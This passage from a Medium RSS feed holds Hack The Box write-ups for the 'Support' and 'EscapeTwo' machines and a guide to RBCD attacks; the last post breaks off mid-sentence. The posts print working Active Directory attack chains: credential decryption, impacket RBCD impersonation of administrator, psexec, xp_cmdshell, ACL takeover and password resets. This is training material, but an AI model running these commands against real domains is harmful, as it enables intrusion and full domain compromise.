            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5b5-UBrDpCcVJXN6.jpg" /></figure><p>Hello everyone. Welcome to the solution to the Easy-medium level HTB lab.</p><p><strong>Machine link:</strong> <a href="https://app.hackthebox.com/machines/Support">https://app.hackthebox.com/machines/Support</a></p><blockquote><strong>Enumeration</strong></blockquote><p>As always, today we are identifying open ports and services with an nmap scan.</p><pre>nmap -sCV -p- -T4 --min-rate 10000 10.129.230.181  -oN nmap_result<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-23 22:42 -0400<br>Nmap scan report for 10.129.230.181<br>Host is up (0.092s latency).<br>Not shown: 65517 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-23 14:49:06Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49664/tcp open  unknown<br>49668/tcp open  unknown<br>49678/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49683/tcp open  unknown<br>49706/tcp open  unknown<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: -11h53m47s<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2026-05-23T14:49:58<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 115.16 seconds</pre><p>We can also see from the nmap result that the domain name is <strong>support.htb</strong>. Therefore, let’s update the /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*QXSZPP9EPpqlGl7kDQB6TA.png" /></figure><p>Let’s look at smb shares:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jpV5g1rGtirTb4i1Js92kw.png" /></figure><p>The “<strong>support-tools</strong>” share is notable because it is non-default. And we have read permission. Let’s look at this share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*YsHoGQ4xtBQogxuuG6jbag.png" /></figure><p>This is a set of tools needed for helpdesk. All tools are publicly available. But <strong>UserInfo.exe</strong> looks like an internal tool. Therefore, we need to download and explore this tool.</p><blockquote><strong>Reverse Engineering</strong></blockquote><p>After extracting the file, if you look at the exe file with strings, you can see that it is a <strong>.NET</strong> executable file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iutQ70R1YF7N8-vnLSOnEA.png" /></figure><p>You can use the <strong>ILSpy</strong> tool to decompile a .NET executable file.</p><p><strong><em>NOTE: </em></strong><a href="https://github.com/icsharpcode/AvaloniaILSpy/releases/tag/v7.2-rc"><em>ILSpy </em></a><em>is a completely free and open-source </em><strong><em>.NET</em></strong><em> </em><strong><em>Decompiler </em></strong><em>tool developed for the Windows platform.</em></p><p>After installing and launching the tool, you can open the exe file from the File section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eMQyxgJp-x8k3YIsEGF3Pw.png" /><figcaption>decompiled Userİnfo.exe</figcaption></figure><p>If you look at the <strong>LdapQuery</strong> function, it sends a request to the LDAP server to retrieve the <strong>ldap </strong>user’s information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*3kZ_j5NWzY2un96clYXKgA.png" /></figure><p>In the <strong>protected </strong>class, the password is given in encrypted form. I wrote AI python code to decrypt it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*mjcjPqg3tjIzlwjNAi9gsA.png" /></figure><pre>import base64<br><br>enc_password = &quot;0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E&quot;<br><br>key_str = &quot;armando&quot;<br>key = key_str.encode(&#39;ascii&#39;)<br><br>encrypted_bytes = base64.b64decode(enc_password)<br><br>decrypted_bytes = bytearray()<br>for i in range(len(encrypted_bytes)):<br>    xor_result = encrypted_bytes[i] ^ key[i % len(key)] ^ 0xDF<br>    decrypted_bytes.append(xor_result)<br><br>try:<br>    password = decrypted_bytes.decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br>    print(f&quot;[+] Tapılan Şifrə: {password}&quot;)<br>except Exception as e:<br>    print(f&quot;[-] Xəta baş verdi: {e}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*qXkyuDPfIy18HdXscARiWQ.png" /></figure><p><strong>NOTE:</strong>While analyzing the code, we saw that the LDAP protocol is used. That is, the password is sent as plaintext when the request is sent, unlike LDAPS. Therefore, when we execute the exe file, we can capture the traffic with Wireshark and obtain the password.</p><p>Since we now have a valid user, we can query the <strong>ntds.dit</strong> database with <strong>ldapsearch</strong>.</p><pre>ldapsearch -x -H ldap://support.htb -D ldap@support.htb -w &#39;nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz&#39; -b &quot;dc=support,dc=htb&quot; *</pre><p>However, this gives us too much information in the CLI. Therefore, it is better to use <a href="https://directory.apache.org/studio/download/download-linux.html"><strong>Apache Directory Studio</strong></a> to structure the data.</p><p><strong><em>NOTE: </em></strong><em>Apache Directory Studio is a completely free and open source graphical interface (GUI) program designed to manage, visualize, and query LDAP (Lightweight Directory Access Protocol) servers.</em></p><p>After installing the program, navigate to <strong>LDAP → new connection.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*y77HncyplRT5tpv8OH7Zig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*1IMTFIA0xDBIQ253MrmYmA.png" /></figure><p>If you look at the <strong>support </strong>user’s information here, you can see the non-default ‘<strong>info</strong>’ attribute. The value of the attribute is similar to the password. Let’s check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*SYCwDUJTxNwd0kF7-n9M2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SxeqM8C72Yn2HKr6_d9COA.png" /></figure><p>Great, we can connect with winrm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1rudqC4jNv6B2pNMqgL5eQ.png" /></figure><p>Let’s use <strong>bloodhound </strong>to map the domain and view dangerous privileges on the <strong>support </strong>user. You can use <strong>bloodhound-python</strong> or <strong>Sharphound.exe</strong> as the bloodhound collector.</p><pre>bloodhound-python -u support -p &#39;Ironside47pleasure40Watchful&#39; -d support.htb -ns 10.129.230.181 -c all --zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wa1yx2ZlkjTXSzqXU5yM9w.png" /></figure><p>After selecting the support user, click once on the object and you will be able to see information about the user from “<strong>node info</strong>”.In the “<strong>Outbound Object Control</strong>” section, we can see that the “<strong>Group Delegated Object Control</strong>” value is 2. When we click on it, we can see that the user we captured — <strong>Support </strong>— is a member of the “<strong>Shared Support Accounts</strong>” group and has <strong>GenericALL </strong>permission on the DC in this group. That is, indirectly, the user we captured has FULL permission on the DC.This is great for <strong>RBCD attacks.</strong></p><p><strong><em>NOTE:</em></strong><em> If you want to learn more about the RBCD attack, you can read another article.</em></p><p><a href="https://medium.com/@s4m1r/ad-exploitation-a-step-by-step-guide-to-resource-based-constrained-delegation-rbcd-attacks-7e46b46e9555">AD Exploitation: A Step-by-Step Guide to Resource-Based Constrained Delegation (RBCD) Attacks</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*5llnJF-WTHoGrhjufqWo3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*yNSh0sJxuVDN0bD6iptQ-g.png" /></figure><blockquote><strong>Privilege Escalation</strong></blockquote><ol><li>Abuse MachineAccountQuota :</li></ol><pre>impacket-addcomputer support.htb/support:Ironside47pleasure40Watchful -computer-name FAKEPC -computer-pass &#39;Passw0rd!&#39; -dc-ip 10.129.230.181</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_49yPMZLwP8ptyEHO6tHjA.png" /></figure><p>2.Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties:</p><pre>impacket-rbcd support.htb/support:&#39;Ironside47pleasure40Watchful&#39; -action write -delegate-to &#39;DC$&#39; -delegate-from &#39;FAKEPC$&#39; -dc-ip 10.129.230.181</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udfHkkZ9vQJtAqhfdV1FEg.png" /></figure><p>3.Generate a Service Ticket for <strong>CIFS</strong>:</p><pre>impacket-getST support.htb/&#39;FAKEPC$&#39;:&#39;Passw0rd!&#39; -spn cifs/DC.Support.htb -impersonate administrator -dc-ip 10.129.230.181</pre><p>If you encounter this “<strong>KRB_AP_ERR_SKEW</strong>” error, run the following two commands:</p><pre><br>sudo timedatectl set-ntp off<br>sudo rdate -n &lt;dc_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jDfTipi9kDqYlPxm9t7gWQ.png" /></figure><p>3.Pass the Ticket:</p><pre>impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass -dc-ip 10.129.230.181</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rr0ZtZT5JfcnAWL_qg6F-Q.png" /><figcaption>Pwn3d</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*JdqS_8x_xWg4r-EOMhQNAQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc82485a67b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AD Exploitation: A Step-by-Step Guide to Resource-Based Constrained Delegation (RBCD) Attacks]]></title>
            <link>https://medium.com/@s4m1r/ad-exploitation-a-step-by-step-guide-to-resource-based-constrained-delegation-rbcd-attacks-7e46b46e9555?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e46b46e9555</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[ad-exploitation]]></category>
            <category><![CDATA[ad-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[rbcd]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Sat, 23 May 2026 14:20:30 GMT</pubDate>
            <atom:updated>2026-05-23T14:20:30.601Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>What is delegation?</strong></blockquote><p>Delegation is the right of a service (e.g., Web Server) in an Active Directory (AD) environment to access another service in the background (e.g., Database / SQL Server) by impersonating the user who is accessing it (on its behalf).</p><h4>The Evolution of Kerberos Delegation</h4><p><strong>Unconstrained Delegation:</strong> The entire TGT (Ticket Granting Ticket) of the user accessing the service is written to the service’s memory. The service can go anywhere on behalf of the user with this ticket. It is very dangerous (if the service is compromised, all user tickets are stolen).</p><p><strong>Constrained Delegation (KCD): </strong>Here, which service can access which target service (SPN) is determined centrally in advance. To manage this, <em>Domain Admin</em> rights are required. Because the permission is stored in the ‘<strong><em>msDS-AllowedToDelegateTo</em></strong>’ attribute on the account of the requesting object (for example, Web Server).</p><p><strong>Resource-Based Constrained Delegation (RBCD):</strong> It came with Windows Server 2012. Unlike KCD, here the permission is not determined centrally, but by the resource (target) itself.</p><h4>How does RBCD work?</h4><p>In KCD, the Web Server stored in its attributes who can go where on whose behalf, while in RBCD, the target server (for example, the Database Server) records who can act on its behalf.</p><p>The target object (for example, `SQL-SERVER$`) has an attribute called ‘<strong>msDS-AllowedToActOnBehalfOfOtherIdentity’</strong>.This attribute contains the <strong>SID </strong>of the services or computers that will access it.</p><p>RBCD uses two important Kerberos extensions in the background:</p><ul><li><strong>S4U2self (Service for User to Self):</strong> Allows a service to request a Kerberos service ticket to itself on behalf of a user, without requiring the user’s password.</li><li><strong>S4U2proxy (Service for User to Proxy):</strong> Allows the service to use that ticket to request another service ticket to a target resource, provided the target trusts the requesting service.</li></ul><blockquote><strong>Lab Setup</strong></blockquote><h3>Prerequisites</h3><ul><li>Windows Server 2019 as Active Directory</li><li>Kali Linux</li><li>Tools: Bloodhound, Impacket</li><li>Windows 10/11 — As Client</li></ul><p>To create a vulnerable environment, grant <strong>Full Control</strong> permission to a <strong>low-privileged</strong> domain user on the domain controller’s PC.</p><p>Navigate to <strong>tools → Active directory Users and Computers.</strong>Enable <strong>Advanced Features</strong> from <strong>View</strong>.Right-click on the DC computer from <strong>Domain Controllers</strong>. In the <strong>Security </strong>section, add a low-privileged user and grant him <strong>Full Control</strong> permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*2x3jDSs_AvVIFtDrz3bMYw.png" /></figure><blockquote><strong>Enumeration &amp; Explotation</strong></blockquote><p>You can use <strong>bloodhound </strong>to map the domain to identify vulnerabilities. I used <strong>bloodhound-python</strong> as the bloodhound collector. (It can be used in Sharphound.exe)</p><pre>bloodhound-python -u snazarov -p &#39;Passw0rd!&#39; -d cyberlab.in -ns 10.10.10.10 -c all --zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b0YvQBIcIXfuqH492_fcoA.png" /></figure><p>You can then map the domain by uploading the zip file to bloodhound.</p><p>Let’s search for the low-privileged user(<strong>snazarov</strong>) we have in Bloodhound’s search space.After selecting the object, you can now view it graphically. You can click on it and see detailed information about the object in the window on the left.</p><p>In the <strong>Outbound object</strong> control section, we can see that <strong>First Degree Object Control</strong> has a value of 2. If we click on it, we can see that we have GenericAll (Full Control) authority on the DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*HhZ1UbX2l2SwCwjl3cUsqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*-pT9XTVKAXujYsDCuAsYCQ.png" /><figcaption>GenericAll</figcaption></figure><p>We will use the GenericAll privilege to change the DC’s “<strong>msDS-AllowedToActOnBehalfOfOtherIdentity</strong>” attribute.</p><ol><li>Abuse MachineAccountQuota</li></ol><p>In Active Directory, a regular user normally has the right to add new computers to the network. The mechanism that controls this is the <strong>MachineAccountQuota </strong>attribute, and by default this value is set to <strong>10</strong>. This means that each regular user can create 10 new computer accounts within the domain.</p><pre>impacket-addcomputer cyberlab.in/snazarov:&#39;Passw0rd!&#39; -computer-name FAKE01PC  -computer-pass &#39;Passw0rd!&#39; -dc-ip 10.10.10.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTJ6zrO-c3SURUF005Z9yg.png" /></figure><p>2.Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties</p><p>The attacker uses the write permission (GenericAll) on the Domain Controller (DC) object to write the <strong>SID </strong>of the <strong>FAKE01PC$</strong> account he created into its <strong>msDS-AllowedToActOnBehalfOfOtherIdentity </strong>attribute.</p><pre>impacket-rbcd cyberlab.in/snazarov:&#39;Passw0rd!&#39; -action write -delegate-to &#39;dc-cyberlab$&#39; -delegate-from &#39;FAKE01PC$&#39; -dc-ip 10.10.10.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mllZhAXVgerFV6Pi_JfmjQ.png" /></figure><p>3.Generate a Service Ticket(ST) for <strong>CIFS</strong></p><pre>impacket-getST cyberlab.in/&#39;FAKE01PC$&#39;:&#39;Passw0rd!&#39; -spn cifs/dc-cyberlab -impersonate administrator -dc-ip 10.10.10.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZg0A2sGyhlYwOKg9UoQCA.png" /></figure><p>Pass The Ticket</p><pre>export KRB5CCNAME=administrator@cifs_dc-cyberlab@CYBERLAB.IN.ccache <br><br>impacket-psexec cyberlab.in/administrator@dc-cyberlab -k -no-pass -dc-ip 10.10.10.10</pre><h4>The step-by-step logic of the attack works like this:</h4><p><strong>1.WriteProperty:</strong> You have the right to change the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the Target-Server.</p><p><strong>2.Fake Account Creation:</strong> You add a new computer account (fakepc$) to the network (because by default each user is allowed to create up to 10 computer accounts within the MachineAccountQuota limit).</p><p><strong>3.Delegation Assignment:</strong> You tell the target server: “You can trust the fakepc$ account for requests coming to you (Constrained Delegation).”</p><p><strong>4.Ticket Impersonation:</strong> As the owner of the fakepc$ account, you request a Service Ticket (ST) from the DC on behalf of any high-privileged user (e.g. Administrator) for the Target-Server using the Kerberos S4U2self and S4U2proxy extensions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e46b46e9555" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB:EscapeTwo]]></title>
            <link>https://medium.com/@s4m1r/htb-escapetwo-eb1045e629b5?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb1045e629b5</guid>
            <category><![CDATA[ad-pentesting]]></category>
            <category><![CDATA[esc4]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[escapetwo]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Fri, 22 May 2026 07:54:35 GMT</pubDate>
            <atom:updated>2026-05-22T07:54:35.048Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SkvQkdpyLsvJ8Yd3.jpg" /></figure><p>Hello everyone. Today I will share a technical article from HTB’s easy-medium level <a href="https://app.hackthebox.com/machines/EscapeTwo"><strong><em>EscapeTwo </em></strong></a>lab.For the initial enum, we were given credentials based on real-world scenarios. <strong><em>rose / KxEPkKe6R8su</em></strong></p><p>As always, let’s run an nmap scan first.</p><pre>nmap -sCV -T4 -p- --min-rate 10000 10.129.232.128 -oN nmap_result<br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-21 19:50 -0400<br>Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 60.00% done; ETC: 19:51 (0:00:31 remaining)<br>Nmap scan report for sequel.htb (10.129.232.128)<br>Host is up (0.092s latency).<br>Not shown: 65510 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-21 15:41:05Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-21T15:42:46+00:00; -8h09m09s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL<br>| Not valid before: 2025-06-26T11:46:45<br>|_Not valid after:  2124-06-08T17:00:40<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-05-21T15:42:46+00:00; -8h09m08s from scanner time.<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL<br>| Not valid before: 2025-06-26T11:46:45<br>|_Not valid after:  2124-06-08T17:00:40<br>1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM<br>|_ssl-date: 2026-05-21T15:42:46+00:00; -8h09m09s from scanner time.<br>| ms-sql-info: <br>|   10.129.232.128:1433: <br>|     Version: <br>|       name: Microsoft SQL Server 2019 RTM<br>|       number: 15.00.2000.00<br>|       Product: Microsoft SQL Server 2019<br>|       Service pack level: RTM<br>|       Post-SP patches applied: false<br>|_    TCP port: 1433<br>| ms-sql-ntlm-info: <br>|   10.129.232.128:1433: <br>|     Target_Name: SEQUEL<br>|     NetBIOS_Domain_Name: SEQUEL<br>|     NetBIOS_Computer_Name: DC01<br>|     DNS_Domain_Name: sequel.htb<br>|     DNS_Computer_Name: DC01.sequel.htb<br>|     DNS_Tree_Name: sequel.htb<br>|_    Product_Version: 10.0.17763<br>| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>| Not valid before: 2026-05-21T15:39:10<br>|_Not valid after:  2056-05-21T15:39:10<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL<br>| Not valid before: 2025-06-26T11:46:45<br>|_Not valid after:  2124-06-08T17:00:40<br>|_ssl-date: 2026-05-21T15:42:46+00:00; -8h09m09s from scanner time.<br>3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: <br>| Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL<br>| Not valid before: 2025-06-26T11:46:45<br>|_Not valid after:  2124-06-08T17:00:40<br>|_ssl-date: 2026-05-21T15:42:46+00:00; -8h09m08s from scanner time.<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49693/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49694/tcp open  msrpc         Microsoft Windows RPC<br>49695/tcp open  msrpc         Microsoft Windows RPC<br>49700/tcp open  msrpc         Microsoft Windows RPC<br>49721/tcp open  msrpc         Microsoft Windows RPC<br>49731/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>Now that we know the domain name, we can make changes to the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*mdkSVpb2TNkm_vfSJD-F9Q.png" /><figcaption>/etc/hosts</figcaption></figure><p>Let’s use the username and password given to us for enumeration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OgSFn-IQEcJuovDop1NW5g.png" /><figcaption>smb shares</figcaption></figure><p>The <strong>“Accounting Department”</strong> share, which is not the default, is noteworthy. Let’s connect to this share with <strong>smbclient</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*k3BGoAeX5i5C94X1Fr5wdw.png" /><figcaption>Accounting Department</figcaption></figure><p>I have two excel files. But there was a problem when I downloaded and opened them. So I changed their magic bytes.Open both files with <strong>hexedit </strong>and replace the first four bytes with<strong> “50 4B 03 04&quot;</strong> . After that, I was able to open and read them as excel files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-XFkjDERX5n835oy-D_wnw.png" /></figure><p>When we open the <strong>accounts.xlsx</strong> file, we encounter user emails and passwords. We can use <strong>netexec</strong> to check which ones are valid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*UxkpjgSxVE6sAHQf9D5XNA.png" /></figure><p>We have access to <strong>smb </strong>with the user <strong>oscar</strong>. But when I checked our permissions on the shares, I didn’t see anything extra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t3tRZ-rRBSibb8MYfxDO5A.png" /></figure><p>The <strong>sa </strong>user caught my attention. This user is the most authorized user in <strong>MSSQL</strong>. And we can also see that the mssql port is open from the nmap result. Therefore, I enumerated mssql using the password given for the <strong>sa</strong> user.</p><p><strong>NOTE:<br><em>sa</em></strong> (System Administrator) is the highest and most powerful built-in administrative account in MS SQL Server. This user is the default user who can perform any operation on the server, such as creating, deleting databases, and managing all data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KeHP1ILSMudvZhkxRTivoA.png" /><figcaption>msssql enum</figcaption></figure><p><strong>Pwn3d </strong>— This is great news. We can now connect to <strong>mssql</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*ZpG1UkzbHppiGMcb4iaQWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oNenrD6Kz6coNX9oz6yNaA.png" /></figure><p><strong>NOTE : </strong><em>xp_cmdshell </em>is a built-in extended stored procedure in MS SQL Server that allows you to run operating system commands directly from within the database.</p><p>To enable <strong>xp_cmdshell</strong>, run the “<strong>enable_xp_cmdshell</strong>” command shown in the help menu.</p><pre>enable_xp_cmdhsell</pre><p>Now that we can execute system commands, we can get a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZPPRS2nQIImLdrehlw3RIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*ere0MagB3f6gFA29Xgm-PQ.png" /><figcaption>reverse shell as sql_svc</figcaption></figure><p>There is a SQL configuration file in the <strong>SQL2019 </strong>folder in the<strong> C:\</strong> directory. If you read the file, you can see the <strong>service account’s password</strong> here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H3RcaZRNhezZgy_AGSVVXg.png" /><figcaption>service account’s password</figcaption></figure><p>With <strong>net users</strong>, we can also extract usernames and perform <strong>password spraying</strong> attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IB9kM9JrSQLvMQOmvahXaw.png" /></figure><p>And now we have another user: <strong>ryan</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LlXpKLaMjFV0fk6hvN52VA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OZ5kN1z0Iau5NBs1ewM_Pw.png" /><figcaption>ryan</figcaption></figure><p>Let’s log in as user <strong>ryan </strong>with <strong>evil-winrm</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XFwIcO1wyXC9pvj-2q8u4Q.png" /></figure><p>We can get the user flag from C:\Users\ryan\Desktop\users.txt. The next target is to take over the Administrator account, so I used bloodhound to search for which objects the ryan user has critical authority over within the domain.</p><blockquote><strong>Privilege Escalation</strong></blockquote><p>I used the <strong>bloodhound-python</strong> tool to collect data for Bloodhound. (It can also be used in <strong>Sharphound</strong>.) You can visualize attack paths and permissions by uploading the zip file to Bloodhound.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVboR2CZ2XUeM0P52KDkrA.png" /></figure><p>We can see that the <strong>ryan </strong>user has <strong>WriteOwner </strong>permission on <strong>CA_SVC</strong>.This privilege allows the user <strong>ryan </strong>to control the <strong>CA_SVC</strong> account, including modifying its properties and changing its password.</p><p><strong>Note:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vDWyxGsXxyfjjPPJPusPfw.png" /><figcaption>Critical Permission</figcaption></figure><p>When I looked at the groups that the CA_SVC user was a member of, I saw that he was a member of the <strong>CERT PUBLISHERS</strong> group. This gave me the idea to certificate attack after taking over the <strong>CA_SVC </strong>account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MA_HKgskuGpc9aPlXIWmsg.png" /></figure><p>Let’s take over the CA_SVC account by changing its password. To do this, first take ownership of the account with i<strong>mpacket-owneredit</strong>.</p><pre>impacket-owneredit -action write -new-owner &#39;ryan&#39; -target &#39;ca_svc&#39; &#39;sequel.htb&#39;/&#39;ryan&#39;:&#39;WqSZAF6CysDQbGb3&#39;<br><br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Current owner information below<br>[*] - SID: S-1-5-21-548670397-972687484-3496335370-512<br>[*] - sAMAccountName: Domain Admins<br>[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb<br>[*] OwnerSid modified successfully!</pre><p>Next, let’s grant <strong>FullControl </strong>permissions to our user with <strong>impacket-dacledit</strong>.</p><pre>impacket-dacledit -action &#39;write&#39; -rights &#39;FullControl&#39; -principal &#39;ryan&#39; -target &#39;ca_svc&#39; &#39;sequel.htb&#39;/&#39;ryan&#39;:&#39;WqSZAF6CysDQbGb3&#39;<br><br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] DACL backed up to dacledit-20260521-212928.bak<br>[*] DACL modified successfully!</pre><p>Then we can change the password for the <strong>ca_svc </strong>account.</p><pre>net rpc password &quot;ca_svc&quot; &#39;Passw0rd!&#39; -U &quot;sequel.htb/ryan%WqSZAF6CysDQbGb3&quot; -S 10.129.232.128</pre><p>Let’s confirm that the password has been changed with 